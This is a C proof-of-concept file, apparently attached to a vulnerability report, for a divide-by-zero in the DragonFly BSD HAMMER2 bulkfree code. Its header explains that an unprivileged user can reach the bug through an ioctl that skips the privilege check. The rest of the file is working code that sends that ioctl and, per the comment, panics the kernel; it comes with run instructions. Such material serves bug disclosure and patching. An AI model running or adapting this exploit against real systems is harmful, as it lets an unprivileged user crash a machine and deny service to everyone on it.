DF-0818 / poc.c
/* * DF-0818 — Integer divide-by-zero in HAMMER2 bulkfree_pass progress. * * Trigger path: * hammer2_ioctl_bulkfree_scan() (sys/vfs/hammer2/hammer2_ioctl.c:1088) * -> hammer2_bulkfree_pass() (sys/vfs/hammer2/hammer2_bulkfree.c:512) * line 727: incr = bfi->sstop / (hmp->total_size / 10000); * * If hmp->total_size < 10000 the integer divisor `hmp->total_size / 10000` * is 0 and the divide-by-zero #DE trap panics the kernel. * * The HAMMER2IOC_BULKFREE_{SCAN,ASYNC} ioctl is *deliberately* exempt from * the caps_priv_check() gate at hammer2_ioctl.c:83 (no `if (error == 0)` * guard for those two cases at hammer2_ioctl.c:144-149), so any user that * can open an inode on a mounted HAMMER2 PFS may issue it. * * Run as the unprivileged user against a HAMMER2 filesystem the admin has * mounted and chowned to them (vfs.usermount-style precondition): * * ./poc /mnt/h2/any-file */ #include <sys/param.h> #include <sys/ioctl.h> #include <vfs/hammer2/hammer2_ioctl.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> int main(int argc, char **argv) { const char *path = (argc > 1) ? argv[1] : "/mnt/h2/trigger"; hammer2_ioc_bulkfree_t bfi; int fd, rc; fd = open(path, O_RDONLY); if (fd < 0) { perror("open"); return 2; } memset(&bfi, 0, sizeof(bfi)); bfi.sbase = 0; bfi.size = 8192 * 1024; /* 8 MiB bitmap buffer, matches hammer2(8) */ rc = ioctl(fd, HAMMER2IOC_BULKFREE_SCAN, &bfi); printf("BULKFREE_SCAN rc=%d errno=%d (%s)\n", rc, errno, strerror(errno)); printf(" sstop=%llu total_size-derived divisor=? (consumed by kernel)\n", (unsigned long long)bfi.sstop); close(fd); return 0; } |